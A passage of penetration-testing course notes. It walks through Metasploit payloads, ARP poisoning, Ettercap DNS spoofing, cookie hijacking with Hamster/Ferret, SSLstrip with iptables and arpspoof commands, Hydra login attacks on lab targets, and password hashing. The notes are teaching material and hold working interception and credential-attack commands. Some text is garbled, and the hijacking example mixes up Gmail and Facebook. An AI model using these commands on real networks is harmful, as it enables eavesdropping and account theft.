guns blazing, hair on fire will certainly ignite every alarm on the network. James Bond would surely have
had a short career if every attempt to infiltrate the enemy’s camp if there had been no sneakiness.

Payload selection is not about simply picking one. Of the over 200 payloads available, there are two
main categories, inline or staged. Inline payloads, or single payloads, are all inclusive and self-contained.
Staged payloads contain multiple pieces of the payload referred to as stagers. Staged payloads fit into
multiple tiny memory spaces and await execution from a prior stager. Eventually all of the stagers are
executed like a big play on the Broadway “stage.” Spotting the difference between inline and staged
payloads is a little tricky if searching by name. For instance, below are the two different payloads that
look similar in nature:

linux/x64/shell/bind_tcp (Staged)

linux/x64/shell_bind_tcp (Inline)

In the Metasploit console, running the command “show payloads” will list all available payloads. The
farthest right-hand column is a very brief description of the payload’s functionality and will

specify whether the payload is either inline or staged. If the payload doesn’t directly state inline or
staged in the description, it is assumed to be an inline module.

Listeners

Even the mighty 007 has to take orders from “M.” Listeners are specific handlers within the Metasploit
framework that interact with the sessions established by payloads. The listener can either be embedded
with a bind shell and sit waiting for a connection or actively sit listening for incoming connection on the
security tester’s computer. Without the use of the listener, the communications back and forth would
not be possible. Luckily, the listeners are handled by the Metasploit program and require little
interaction.

Shellcode

Shellcode isn’t particularly a module all by itself, but more of a submodule that is embedded into the
available payloads within the Metasploit framework payloads. Much like the actual explosive material
inside of the missile shot from Bond’s Aston Martin, the shellcode inside of payload is more akin to the
explosive material. The shellcode is the delivery system inside that actually generates the hole, uploads
malicious code, and executes the commands inside of the payload to generate a shell hence the name,
shellcode. Not all payloads contain shellcode. For example, the payload, “windows/adduser” is just a
series of commands aimed at generating a user or an administrative account on a windows platform.

Shellcode delves deep into a programming world that can be very confusing for new testers. This book
does not go into detail about the writing of shellcode. It is a recommendation of the authors to seek
training courses from Offensive Security or the SANS Institute. If classes are not for you, Google is a
friend.

Accessing Metasploit

Metasploit is accessed in a variety of ways. Until a solid foundation has been established with the power
and control of Metasploit, it is recommended to use the graphical interface. The GUI is accessed by
selecting “Metasploit Community/Pro” from the main menu:

Applications → Kali → Exploitation → Metasploit → Metasploit Community/Pro

Alternatively the user can use a web browser and navigating to: https://localhost:3790/. Metasploit
does not have a valid security certification. Without deviating from the default settings of IceWeasel,
the tester will be prompted with a “Connection is Untrusted” error message. Click on “I Understand the
Risks,” followed by “Add Exception.” When prompted, click on the “Confirm Security Exception” button
to continue.

The first initial run through Metasploit will prompt a tester to set up a username and password. A
second set of optional parameters is also available. The second set will be used for reporting features
within Metasploit. When complete, click the “Create Account” button to continue.

Startup/Shutdown Service

At times it will be necessary to restart the Metasploit service. Metasploit is very resource intensive, and
many services rely on the stability of the network. If there are not enough resources on the computer or
if the security tester is experiencing network errors it is best to try restarting the service. Start by
checking the status of the service. From a terminal window, a tester can issue start, restart, and stop
commands to the Metasploit service (Figure 9.3).

service metasploit status

To restart t Update the Database

Metasploit is not just developed by Rapid7, there are constant updates to all aspects of the program
from community users. It’s recommended to update the Metasploit database before every use. No one
would think that James Bond would go on mission before checking his Walther P35 to ensure it had a
full clip of bullets. Lucky for the rest of us, there’s no seven-day waiting period for new updates. From a
terminal:

msfupdate

Now sit back and wait. Yes, it’s that easy. Grab the bullets for your gun and get going with the mission. If
a security tester is already in the Metasploit web interface. Select “Software Updates” from the upper
right-hand side of the Metasploit web page. On the following screen select, “Check for Updates.”

If updates are available, Metasploit will download and install them immediately. After updates are
complete, it is recommended that Metasploit’s service be restarted. Close the browser, restart, and
then reopen the Metasploit web interface

Source: Hacking with Kali Practical Penetration Testing Techniques

Man-in-the-middle attacks: ARP Cache Poisoning

Introduction

One of the most prevalent network attacks used against individuals and large organizations alike are
man-in-the-middle (MITM) attacks. Considered an active eavesdropping attack, MITM works by
establishing connections to victim machines and relaying messages between them. In cases like these,
one victim believes it is communicating directly with another victim, when in reality the communication
flows through the host performing the attack. The end result is that the attacking host can not only
intercept sensitive data, but can also inject and manipulate a data stream to gain further control of its
victims.

In this series of articles we will examine some of the most widely used forms of MITM attacks including
ARP cache poisoning, DNS spoofing, HTTP session hijacking, passing the hash, and more. As you will
mostly find in the real world, most victim machines are Windows-based hosts. That being the case, this
series of articles will focus entirely on MITM exploitation of hosts running versions of Windows. When
possible, attacks will also be performed from Windows based hosts. In cases when there are no tools
available for the attack being presented we will be utilizing Backtrack Linux 4, downloadable as a live-CD
or a virtual machine from here.
Advertisement

ARP Cache Poisoning

In the first article of this series we will take a look at ARP cache poisoning. One of the oldest forms of
modern MITM attack, ARP cache poisoning (sometimes also known as ARP Poison Routing) allows an
attacker on the same subnet as its victims to eavesdrop on all network traffic between the victims. I’ve
deliberately chosen this as the first attack to examine because it is one of the simplest to execute but is
considered one of the most effective once implemented by attackers.

Normal ARP Communication

The ARP protocol was designed out of necessity to facilitate the translation of addresses between the
second and third layers of the OSI model. The second layer, or data-link layer, uses MAC addresses so
that hardware devices can communicate to each other directly on a small scale. The third layer, or
network layer, uses IP addresses (most commonly) to create large scalable networks that can
communicate across the globe. The data link layer deals directly with devices connected together where
as the network layer deals with devices that are directly connected AND indirectly connected. Each layer
has its own addressing scheme, and they must work together in order to make network communication
happen. For this very reason, ARP was created with RFC 826, “An Ethernet Address Resolution Protocol”.
The nitty gritty of ARP operation is centered around two packets, an ARP request and an ARP reply. The
purpose of the request and reply are to locate the hardware MAC address associated with a given IP
address so that traffic can reach its destination on a network. The request packet is sent to every device
on the network segment and says “Hey, my IP address is XX.XX.XX.XX, and my MAC address is
XX:XX:XX:XX:XX:XX. I need to send something to whoever has the IP address XX.XX.XX.XX, but I don’t
know what their hardware address is. Will whoever has this IP address please respond back with their
MAC address?” The response would come in the ARP reply packet and effectively provide this answer,
“Hey transmitting device. I am who you are looking for with the IP address of XX.XX.XX.XX. My MAC
address is XX:XX:XX:XX:XX:XX.” Once this is completed the transmitting device will update its ARP cache
table and the devices are able to communicate with one another.

Poisoning the Cache

ARP cache poisoning takes advantage of the insecure nature of the ARP protocol. Unlike protocols such
as DNS that can be configured to only accept secured dynamic updates, devices using ARP will accept
updates at any time. This means that any device can send an ARP reply packet to another host and force
that host to update its ARP cache with the new value. Sending an ARP reply when no request has been
generated is called sending a gratuitous ARP. When malicious intent is present the result of a few well
placed gratuitous ARP packets used in this manner can result in hosts who think they are communicating
with one host, but in reality are communicating with a listening attacker.
Using Cain & Abel

Let us take the given scenario and take it from theory to reality. There are a few different tools that will
perform the necessary steps to poison the ARP cache of victim machines. We will use the popular
security tool Cain & Abel from Oxid.it. Cain & Abel does quite a few things beyond ARP cache poisoning
and is a very useful tool to have in your arsenal. The installation of the tool is pretty clear cut so I won’t
go through that here.

Before beginning you need to collect some additional information. This includes the network interface
you wish you to use for the attack, and the two IP addresses of your communicating victims.

When you first open Cain & Abel, you will notice a series of tabs near the top of the window. For our
purposes, we’ll be working in the Sniffer tab. When you click this tab, you will see an empty table. In
order to fill this table you will need to activate the program’s built-in sniffer and scan your network for
hosts.
Click the second icon on the toolbar, which resembles a network card. The first time you do this you will
be asked to select the interface you wish to sniff. This interface should be the one that is connected to
the network you will be performing your ARP cache poisoning on. Once you’ve selected this interface,
click OK to activate Cain & Abel’s built-in sniffer. At this point the toolbar icon resembling a network
card should be depressed. If it isn’t, do so now. To build a list of available hosts on your network, click
the icon that resembles a plus (+) symbol on the main toolbar, and click OK.
The once-empty grid should now be filled with a list of all the hosts on your attached network, along
with their MAC addresses, IP addresses, and vendor identifying information. This is the list you will work
from when setting up your ARP cache poisoning.

At the bottom of the program window, you will see a set of tabs that will take you to other windows
under the Sniffer heading. Now that you have built your host list, you will be working from the APR tab.
Switch to the APR window by clicking the tab.

Once in the APR window, you are presented with two empty tables: an upper and a lower one. Once you
set them up, the upper table will show the devices involved in your ARP cache poisoning, and the lower
table will show all communication between your poisoned machines.

Continue setting up your ARP poisoning by clicking the icon resembling the plus (+) symbol on the
program’s standard toolbar. The window that appears has two selection columns side by side. On the
left side, you will see a list of all available hosts on your network. Click the IP address of one of your
victims. This will result in the right window showing a list of all hosts in the network, omitting the IP
address you just selected. In the right window, click the IP address of the other victim, and click OK.

The IP addresses of both devices should now be listed in the upper table in the main application
window. To complete the process, click the yellow-and-black radiation symbol on the standard toolbar.
This will activate Cain & Abel’s ARP cache poisoning features and allow your analyzing system to be the
middleman for all communications between the two victims. If you are curious to see what is happening
behind the scenes try installing Wireshark and listen to the interface when you enable poisoning. You
will see a flurry of ARP traffic to both hosts and immediately begin seeing the communication between
them.

ARP Traffic Injection

When you are finished, simply click the yellow-and-black radiation symbol again to stop ARP cache
poisoning.

Man-in-the-middle attacks: DNS Spoofing

DNS spoofing is a MITM technique used to supply false DNS information to a host so that when they
attempt to browse, for example, www.bankofamerica.com at the IP address XXX.XX.XX.XX they are
actually sent to a fake www.bankofamerica.com residing at IP address YYY.YY.YY.YY which an attacker
has created in order to steal online banking credentials and account information from unsuspecting
users. This is actually done quite easily and here we will see how it works, how it is done, and how to
defend against it.

Normal DNS Communication

The Domain Naming System (DNS) protocol as defined in RFC 1034/1035 is what some consider one of
the most important protocols in use by the Internet. This is because DNS is the proverbial molasses that
holds the bread together. In a nutshell, whenever you type in a web address such as
http://www.google.com into your browser, a DNS request is made to a DNS server in order to find out
what IP address that name resolves to. This is because routers and the devices that interconnect the
Internet do not understand google.com, they only understand addresses such as 74.125.95.103.

A DNS server itself works by storing a database of entries (called resource records) of IP address to DNS
name mappings, communicating those resource records to clients, and communicating those resource
records to other DNS servers. The architecture of DNS servers throughout enterprises and the Internet is
something that can be a bit complicated. As a matter of fact, there are whole books dedicated to DNS
architecture. We will not cover architectural aspects or even all of the different types of DNS traffic (you
can review the various DNS related RFC’s here), but we will look at a basic DNS transaction, seen in
Figure 1.

A DNS Query and Response

DNS functions in a query/response type format. A client wishing to resolve a DNS name to an IP address
sends a query to a DNS server, and the server sends the requested information in its response. From the
clients’ perspective, the only two packets that are seen are this query and response.
DNS Query and Response Packets

This scenario gets a slight bit more complex when you consider DNS recursion. Due to the hierarchical
nature of the DNS structure of the Internet, DNS servers need the ability to communicate with each
other in order to locate answers for the queries submitted by clients. After all, it might be fair to expect
our internal DNS server to know the name to IP address mapping of our local intranet server, but we
can’t expect it to know the IP address correlated with Google or Dell. This is where recursion comes into
play. Recursion is when one DNS server queries another DNS server on behalf of a client who has made
a request. Basically, this turns a DNS server into a client itself, seen in Figure 3.

Figure 3: A DNS Query and Response Using Recursion

Spoofing DNS

There is more than one way to skin a cat and there is definitely more than one method available for
performing DNS spoofing. We will be using a technique called DNS ID spoofing.

Every DNS query that is sent out over the network contains a uniquely generated identification number
that’s purpose is to identify queries and responses and tie them together. This means that if our
attacking computer can intercept a DNS query sent out from a target device, all we have to do is create
a fake packet that contains that identification number in order for that packet to be accepted by that
target.

We will complete this process doing two steps with a single tool. First, we will ARP cache poison the
target device to reroute its traffic through our attacking host so that we can intercept the DNS request,
and then we will actually send the spoofed packet. The goal of this scenario is to get users on the target
network to visit our malicious website rather than the website they are attempting to access. A
depiction of this attack is seen in Figure 4.

Figure 4: The DNS Spoofing Attack Using the DNS ID Spoofing Method

There are a few different tools available that can be used to perform DNS spoofing. We will be using
Ettercap, which has both Windows and Linux versions. You can download Ettercap from here. If you do a
bit of research on this website you will find that Ettercap has a great deal of functionality beyond DNS
spoofing and is commonly used in many types of MITM attacks.

If you are installing Ettercap on a Windows machine you will notice it has a GUI which works great, but
for this example we will be using the command-line interface.

Prior to executing Ettercap, a bit of configuration is required. Ettercap at its core is a packet sniffer
which utilizes various plug-in to do the various attacks it can perform. The dns_spoof plug-in is what will
be doing the attack in this example, so we have to modify the configuration file associated with that
plug-in. On a windows system, this file can be located at C:\Program Files
(x86)\EttercapNG\share\etter.dns, and at /usr/share/ettercap/etter.dns. This file is fairly simple and
contains the DNS records you wish to spoof. For our purposes, we would like any user attempting to go
to yahoo.com to be directed to a host on the local network, so we will add the entry highlighted in
Figure 5.
Figure 5: Adding a spoofed DNS record to etter.dns

These entries basically tell the dns_spoof plug-in that when it sees a DNS query for yahoo.com or
www.yahoo.com (for an A type resource record) it should supply the IP address 172.16.16.100 in
response. In a realistic scenario the device at 172.16.16.100 would be running some form of web server
software that would present the user with the fake website.

Once the file is configured and saved we are free to execute the command string that will launch the
attack. The command string uses the following options:

-T – Specifies the use of the text-based interface

-q – Runs commands in quiet mode so that captured packets are not output to the screen

-P dns_spoof – Specifies the use of the dns_spoof plug-in

-M arp – Initiates a MITM Arp poisoning attack to intercept packets between hosts

// // - Specifies the entire network as the targets of the attack

The final command string for our purposes would be:

Ettercap.exe –T –q –P dns_spoof –M arp // //

Running the command would begin the two phased attack, first poisoning the ARP cache of the devices
on the network and then transmitting the fake DNS query responses.

Figure 6: Ettercap actively listening for DNS queries

Once initiated, anybody attempting to access www.yahoo.com is redirected to our malicious site.
Figure 7: The result of the DNS spoofing attempt from the users perspective

Man-in-the-middle attacks: Session Hijacking

Session Hijacking

The term session hijacking is thrown around frequently and encompasses a variety of different attacks.
In general, any attack that involves the exploitation of a session between devices is session hijacking.
When we refer to a session, we are talking about a connection between devices in which there is state.
That is, there is an established dialogue in which a connection has been formally set up, the connection
is maintained, and a defined process must be used to terminate the connection. When we talk about
sessions theoretically it’s a bit confusing, so it may help to think of a session in a more practical sense.

In this article we will be talking about session hijacking through cookie stealing, which involves HTTP
sessions. If you think about some of the common websites you visit that require login credentials, those
are great examples of session-oriented connections. You must be authenticated by the website with
your username and password to formally set up the session, the website maintains some form of
session tracking to ensure you are still logged in and are allowed to access resources (often done with a
cookie), and when the session is ending the credentials are cleared and the session ends. This is a very
specific example of a session and even though we do not always realize it, sessions are occurring
constantly and most communications rely on some form of session or state-based activity.

Figure 1: A normal session

As we have seen in previous attacks, nothing that goes across the network is safe and session data is no
different. The principle behind most forms of session hijacking is that if you can intercept certain
portions of the session establishment, you can use that data to impersonate one of the parties involved
in the communication so that you may access session information. In the case of our earlier example,
this means that if we were to capture the cookie that is used to maintain the session state between your
browser and the website you are logging into, we could present that cookie to the web server and
impersonate your connection. If that sounds too good to be true from an attackers standpoint, well….it
is.

Figure 2: Session Hijacking

Now that we have a little bit of theory in the books, let us delve into a practical example.

Stealing Cookies with Hamster and Ferret

In our practical scenario we will be performing a session hijacking attack by intercepting the
communication of a user logging into his Gmail account. Using this intercepted communication we will
impersonate that user and access the account from our attacking machine.

In order to perform this attack we will be using two tools straight out of the pet store, named Hamster
and Ferret. Both tools can be downloaded from here. These are both command-line tools so the
hamster folder can be extracted to an easy to get to location.

Alternatively, you can download and use Backtrack 4. BT4 is a Linux live-CD distribution designed
specifically for hacking and penetration testing that comes with a myriad of preinstalled and
precompiled tools, with Hamster/Ferret being two of them. You can download BT4 from here. You will
then find Hamster in the /pentest/sniffers/hamster folder. The screenshot examples used in the rest of
this tutorial are taken from BT4.

The first step involved in this form of session hijacking is to capture the traffic of the victim user as he
browses Facebook. This traffic can actually be captured using any packet sniffing application such as
TCPDump or Wireshark, but in order to capture the right packets you will need to employ a technique
such as ARP cache poisoning (discussed in the first article in this series).
Figure 3: Capturing traffic of the user browsing to Gmail

Once you have captured the traffic of the victim user browsing to Gmail you will need to save the
captured file into the Hamster directory. For the purposes of this example, we have named our file
victim_gmail.pcap. When that file is in place, we will use Ferret to process the file. This is done by
browsing to the Hamster folder and running the command, ferret –r victim_gmail.pcap. Ferret will
process the file and create a hamster.txt file that may be used by Hamster for the actual hijacking of the
session.
Figure 4: Processing the capture file with Ferret

With our HTTP data intercepted and prepared for use, we can use Hamster to actually execute the
attack. Hamster itself actually runs as a proxy that provides an interface for browsing and using stolen
session cookies. In order to start the Hamster proxy you can simply execute Hamster with no command
line options.

Figure 5: Starting Hamster

Once executed, you will need to open your browser and configure its proxy settings to match those
provided to you by the Hamster output. By default, this means that you would configure your proxy
settings to use the local loopback address 127.0.0.1 on port 1234. You can access these settings in
Internet Explorer by selecting Tools, Internet Options, Connections, LAN Settings, and placing a
checkbox in the Use a proxy server for your LAN box.
Figure 6: Configuring proxy settings for use with Hamster

Now that the proxy settings have been applied you can access the Hamster console in your browser by
browsing to http://hamster. Hamster will use the file created by Ferret to produce a list of IP addresses
for whom session information has be intercepted and display those IP address in the right pane of the
browser. Our file we’ve created only contains a single IP address of the victim, so if we click that the left
pane will be populated with the sessions available for hijacking.

Figure 7: The Hamster GUI

We see that facebook.com is listed, and if you click that link you will be pleased to be presented with a
new window that has you logged in to the victims Facebook account!

Figure 8: Successfully hijacked Gmail account!

Man-in-the-middle attacks: SSL Hijacking

SSL and HTTPS

Secure Socket Layers (SSL), or Transport Layer Security (TLS) in its more modern implementation, are
protocols designed to provide security for network communication by means of encryption. This
protocol is most commonly associated with other protocols to provide a secure implementation of the
service that protocol provides. Examples of this include SMTPS, IMAPS, and most commonly HTTPS. The
ultimate goal is to create secure channels over insecure networks.

In this article we will focus on attacking SSL over HTTP, known as HTTPS, because it is the most common
use of SSL. You may not realize it but you probably use HTTPS daily. Most popular e-mail services and
online banking applications rely on HTTPS to ensure that communications between your web browser
and their servers in encrypted. If it weren’t for this technology then anybody with a packet sniffer on
your network could intercept usernames, passwords, and anything else that would normally be hidden.

The process used by HTTPS to ensure data is secure centers around the distribution of certificates
between the server, the client, and a trusted third party. As an example let’s say that a user is trying to
connect to a Gmail e-mail account. This involves a few distinct steps, which are briefly simplified in
Figure 1.
 Figure 1: The HTTPS Communication Process

The process outlined in Figure 1 is by no means detailed, but basically works out as follows:

1. The client browser connects to http://mail.google.com on port 80 using HTTP.

2. The server redirects the client HTTPS version of this site using an HTTP code 302 redirect.
3. The client connects to https://mail.google.com on port 443.
4. The server provides a certificate to the client containing its digital signature. This certificate is used to
verify the identity of the site.
5. The client takes this certificate and verifies it against its list of trusted certificate authorities.
6. Encrypted communication ensues.

If the certificate validation process fails then that means the website has failed to verify its identity. At
that point the user is typically presented with a certificate validation error and they can choose to
proceed at their own risk, because they may or may not actually be communicating with the website
they think they are talking to.

Defeating HTTPS

This process was considered highly secure up until several years ago when an attack was published that
allowed for successful hijacking of the communication process. This process doesn’t involve defeating
SSL itself, but rather, defeating the “bridge” between non-encrypted and encrypted communications.

Moxie Marlinspike, a well known security researcher hypothesized that in most cases, SSL is never
encountered directly. That is, most of the time an SSL connection is initiated through HTTPS it is because
someone was redirected to an HTTPS via an HTTP 302 response code or they click on a link that directs
them to an HTTPS site, such as a login button. The idea is that if you attack the transition from an
unsecured connection to a secure one, in this case from HTTP to HTTPS, you are attacking the bridge
and can man-in-the-middle an SSL connection before it even occurs. In order to do this effectively,
Moxie created the SSLstrip tool, which we will use here.

The process is fairly straightforward and is reminiscent of some of the attacks we’ve completed in
previous articles. It is outlined in Figure 2.
 Figure 2: Hijacking HTTPS Communication

The process outlined in Figure 2 works like this:

1. Traffic between the client and web server is intercepted.

2. When an HTTPS URL is encountered sslstrip replaces it with an HTTP link and keeps a mapping of the
changes.
3. The attacking machine supplies certificates to the web server and impersonates the client.
4. Traffic is received back from the secure website and provided back to the client.

The process works quite well and as far as the server is concerned it is still receiving the SSL traffic it
wants to, it doesn’t know the difference. The only visible difference in the user experience is that the
traffic will not be flagged as HTTPS in the browser, so a cognizant user will be able to notice that
something is amiss.

Using SSLStrip

The program that makes all of this happen is called SSLstrip and is available from here. This program
only runs on Linux so you can download and install it yourself, or if you don’t want to deal with the
hassle of installing it yourself you can download and run Backtrack 4 which has it preinstalled.

Once you have access to SSLstrip there are a few perquisite tasks that must be done. First of all, the
Linux distribution you are using must be configured for IP forwarding. To do this, enter the command
echo "1" > /proc/sys/net/ipv4/ip_forward into a shell.

Figure 3: Enabling IP Forwarding

Once this has been done, we have to force all HTTP traffic that is intercepted to be routed to the port
that SSLstrip will be listening on. This is done by modifying the iptables firewall configuration. This is
done by using the command iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-
port <listenPort>.

Figure 4: Configuring IPTables to properly route HTTP traffic

Of course, you will replace <listenPort> with a random port of your choice. After these items have been
configured we can run sslstrip and configure it to listen on the port specified with the command sslstrip -
l <listenPort>.

Figure 5: Using sslstrip

The last step in this process is to configure ARP spoofing to intercept the traffic of the target host. We
did this using Cain and Abel in Windows previously, but in this case we will use the arpspoof utility,
which is built into Backtrack 4. The command to do this is arpspoof -i <interface> -t <targetIP>
<gatewayIP>.

Figure 6: Configuring ARP Spoofing

Using this command you would substitute <interface> for the network interface you are performing
these actions on (eth0, eth1, etc), <targetIP> for the IP address of the target client, and <gatewayIP> for
the IP address of the gateway router the target is using.

Once completed you should be actively hijacking any SSL connections being established. From here you
can fire up a packet sniffer and collect passwords, personally identifiable information, credit card
numbers, etc from the traffic.

Source: http://www.windowsecurity.com/

Lecture 4.2 Password attacks

Online passwords attacks with THC-hydra
When an attacker wants to learn credentials for an online system, he can use brute force or a dictionary
attack. This article introduces these two types of attack and explains how to launch an online dictionary
attack using Hydra.

Brute Force vs. Dictionary Attack

An attacker can try every possible password combination (brute force approach). The advantage is
guaranteed success in finding the right password. The drawback is that it is a very time-consuming
process.

It’s probable that a typical user is frustrated about password best practices and uses a pattern for the
password (for example a common word and a digit appended at the end). Then the attacker can build a
set of common words concatenated with a digit (an exemplary pattern in the dictionary) and try every
combination from this set. This approach (dictionary attack) can save the attacker’s time, because he
doesn’t have to brute-force the whole key space. The disadvantage is that there is no guarantee that the
right password will be found. However, the probability of hitting the right password is quite good, taking
into account the passwords people often choose.

Environment

Hydra is described as a network logon cracker that supports many services [1]. This article explains how
to use Hydra to launch an online dictionary attack against FTP and a web form.

Metasploitable is a Linux-based virtual machine that is intentionally vulnerable [2]. It can be used, for
example, to practice penetration testing skills. Please remember that this machine is vulnerable and
should not operate in bridge mode.

DVWA (Damn Vulnerable Web Application) is a web application that is intentionally vulnerable [3]. It is
helpful for those who want to play with web application security stuff. DVWA is part of Metasploitable.

Dictionaries

Let’s create two short dictionaries for the simplicity of description.

List of users (list_user):

1 admin_1
2 admin
3 msfadmin
List of passwords (list_password)

1 password_1
2 password
3 msfadmin
4 password_2
There are 12 combinations to check (3 users times 4 passwords). These combinations include default
credentials for DVWA login form and Metasploitable FTP (admin/password for DVWA login form;
msfadmin/msfadmin for Metasploitable FTP).

Metasploitable—Dictionary Attack on FTP

Use the following command to launch the attack:

dawid@lab:~$ hydra -L list_user -P list_password 192.168.56.101

1 ftp -V
The aforementioned dictionaries (list_user and list_password) are used. The IP address of
Metasploitable FTP server is 192.168.56.101. FTP is attacked. That’s why ftp module is used in the
command. One should use -V to see username and password for each attempt.

As we can see below, Hydra has found one valid pair of username and password (username: msfadmin,
password: msfadmin).
DVWA—Dictionary Attack on Login Form

Use the following command to launch the attack:

dawid@lab:~$ hydra -L list_user -P list_password 192.168.56.101 http-

1 "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login fa
The aforementioned dictionaries (list_user and list_password) are used again. The IP address of DVWA is
192.168.56.101. The login form of DVWA is available in Metasploitable at
192.168.56.101/dvwa/login.php. When the user logs in, the following request is generated (intercepted
by Burp Suite [4]):
The key parts were marked on the screenshot. They are the values of the parameters of http-post-form
module:

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login
1 failed"
^USER^ and ^PASS^ are replaced with usernames (from list_user) and passwords (list_password)
respectively. When the login attempt is unsuccessful, the server responds with a “Login failed” message,
which is the value of the last parameter.

Finally, one should use -V to see username and password for each attempt.

As we can see below, Hydra has found one valid pair of username and password (username: admin,
password: password).
This article introduced two types of online password attack (brute force, dictionary) and explained how
to use Hydra to launch an online dictionary attack against FTP and a web form. Hydra is a network logon
cracker that supports many services [1]. Metasploitable can be used to practice penetration testing skills
[2]. DVWA (Damn Vulnerable Web Application) is helpful for those who want to play with web
application security stuff [3].

Source: http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/

Password hashes and salts

If you're a web developer, you've probably had to make a user account system. The most important
aspect of a user account system is how user passwords are protected. User account databases are
hacked frequently, so you absolutely must do something to protect your users' passwords if your
website is ever breached. The best way to protect passwords is to employ salted password hashing. This
page will explain why it's done the way it is.

There are a lot of conflicting ideas and misconceptions on how to do password hashing properly,
probably due to the abundance of misinformation on the web. Password hashing is one of those things
that's so simple, but yet so many people get wrong. With this page, I hope to explain not only the
correct way to do it, but why it should be done that way.

IMPORTANT WARNING: If you are thinking of writing your own password hashing
code, please don't!. It's too easy to screw up. No, that cryptography course you took in
university doesn't make you exempt from this warning. This applies to everyone: DO NOT
WRITE YOUR OWN CRYPTO! The problem of storing passwords has already been solved.
Use either use either phpass, the PHP, C#, Java, and Ruby implementations
in defuse/password-hashing, or libsodium.

If for some reason you missed that big red warning note, please go read it now. Really, this guide
is not meant to walk you through the process of writing your own storage system, it's to explain the
reasons why passwords should be stored a certain way.

You may use the following links to jump to the different sections of this page.
What is password hashing?
hash("hello") =
2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824
hash("hbllo") =
58756879c05c68dfac9866712fad6a93f8146f337a69afe7dd238f3364946366
hash("waltz") =
c0e81794384491161f1777c232bc6bd9ec38f616560b120fda8e90f383853542

Hash algorithms are one way functions. They turn any amount of data into a fixed-length "fingerprint"
that cannot be reversed. They also have the property that if the input changes by even a tiny bit, the
resulting hash is completely different (see the example above). This is great for protecting passwords,
because we want to store passwords in a form that protects them even if the password file itself is
compromised, but at the same time, we need to be able to verify that a user's password is correct.

The general workflow for account registration and authentication in a hash-based account system is as
follows:

1. The user creates an account.

2. Their password is hashed and stored in the database. At no point is the plain-text
(unencrypted) password ever written to the hard drive.
3. When the user attempts to login, the hash of the password they entered is checked
against the hash of their real password (retrieved from the database).
4. If the hashes match, the user is granted access. If not, the user is told they entered
invalid login credentials.
5. Steps 3 and 4 repeat everytime someone tries to login to their account.

In step 4, never tell the user if it was the username or password they got wrong. Always
display a generic message like "Invalid username or password." This prevents attackers
from enumerating valid usernames without knowing their passwords.

It should be noted that the hash functions used to protect passwords are not the same as
the hash functions you may have seen in a data structures course. The hash functions used
to implement data structures such as hash tables are designed to be fast, not secure.
Only cryptographic hash functions may be used to implement password hashing. Hash
functions like SHA256, SHA512, RipeMD, and WHIRLPOOL are cryptographic hash functions.

It is easy to think that all you have to do is run the password through a cryptographic hash
function and your users' passwords will be secure. This is far from the truth. There are
many ways to recover passwords from plain hashes very quickly. There are several easy-to-
implement techniques that make these "attacks" much less effective. To motivate the need
for these techniques, consider this very website. On the front page, you can submit a list of
hashes to be cracked, and receive results in less than a second. Clearly, simply hashing the
password does not meet our needs for security.

The next section will discuss some of the common attacks used to crack plain password
hashes.

How Hashes are Cracked

Dictionary and Brute Force Attacks

Dictionary Attack Brute Force Attack

Trying apple : failed Trying aaaa : failed

Trying blueberry : failed Trying aaab : failed
 Trying justinbeiber : failed Trying aaac : failed

... ...

Trying letmein : failed Trying acdb : failed

Trying s3cr3t : success! Trying acdc : success!

 The simplest way to crack a hash is to try to guess the password, hashing each guess,
and checking if the guess's hash equals the hash being cracked. If the hashes are
equal, the guess is the password. The two most common ways of guessing passwords
are dictionary attacks and brute-force attacks.
 A dictionary attack uses a file containing words, phrases, common passwords, and
other strings that are likely to be used as a password. Each word in the file is hashed,
and its hash is compared to the password hash. If they match, that word is the
password. These dictionary files are constructed by extracting words from large bodies
of text, and even from real databases of passwords. Further processing is often applied
to dictionary files, such as replacing words with their "leet speak" equivalents ("hello"
becomes "h3110"), to make them more effective.
 A brute-force attack tries every possible combination of characters up to a given length.
These attacks are very computationally expensive, and are usually the least efficient in
terms of hashes cracked per processor time, but they will always eventually find the
password. Passwords should be long enough that searching through all possible
character strings to find it will take too long to be worthwhile.
 There is no way to prevent dictionary attacks or brute force attacks. They can be made
less effective, but there isn't a way to prevent them altogether. If your password
hashing system is secure, the only way to crack the hashes will be to run a dictionary
or brute-force attack on each hash.

Lookup Tables
Searching: 5f4dcc3b5aa765d61d8327deb882cf99: FOUND: password5
Searching: 6cbe615c106f422d23669b610b564800: not in database
Searching: 630bf032efe4507f2c57b280995925a9: FOUND: letMEin12
Searching: 386f43fab5d096a7a66d67c8f213e5ec: FOUND: mcd0nalds
Searching: d5ec75d5fe70d428685510fae36492d9: FOUND: p@ssw0rd!

Lookup tables are an extremely effective method for cracking many hashes of the same
type very quickly. The general idea is to pre-compute the hashes of the passwords in
a password dictionary and store them, and their corresponding password, in a lookup
table data structure. A good implementation of a lookup table can process hundreds of
hash lookups per second, even when they contain many billions of hashes.

If you want a better idea of how fast lookup tables can be, try cracking the following
sha256 hashes with CrackStation's free hash cracker.

c11083b4b0a7743af748c85d343dfee9fbb8b2576c05f3a7f0d632b0926aadfc
08eac03b80adc33dc7d8fbe44b7c7b05d3a2c511166bdb43fcb710b03ba919e7
e4ba5cbd251c98e6cd1c23f126a3b81d8d8328abc95387229850952b3ef9f904
5206b8b8a996cf5320cb12ca91c7b790fba9f030408efe83ebb83548dc3007bd

Reverse Lookup Tables

Searching for hash(apple) in users' hash list... : Matches [alice3,
0bob0, charles8]
Searching for hash(blueberry) in users' hash list... : Matches [usr10101,
timmy, john91]
Searching for hash(letmein) in users' hash list... : Matches [wilson10,
dragonslayerX, joe1984]
Searching for hash(s3cr3t) in users' hash list... : Matches [bruce19,
 knuth1337, john87]
Searching for hash(z@29hjja) in users' hash list... : No users used this
password

This attack allows an attacker to apply a dictionary or brute-force attack to many

hashes at the same time, without having to pre-compute a lookup table.

First, the attacker creates a lookup table that maps each password hash from the
compromised user account database to a list of users who had that hash. The attacker
then hashes each password guess and uses the lookup table to get a list of users whose
password was the attacker's guess. This attack is especially effective because it is
common for many users to have the same password.

Rainbow Tables

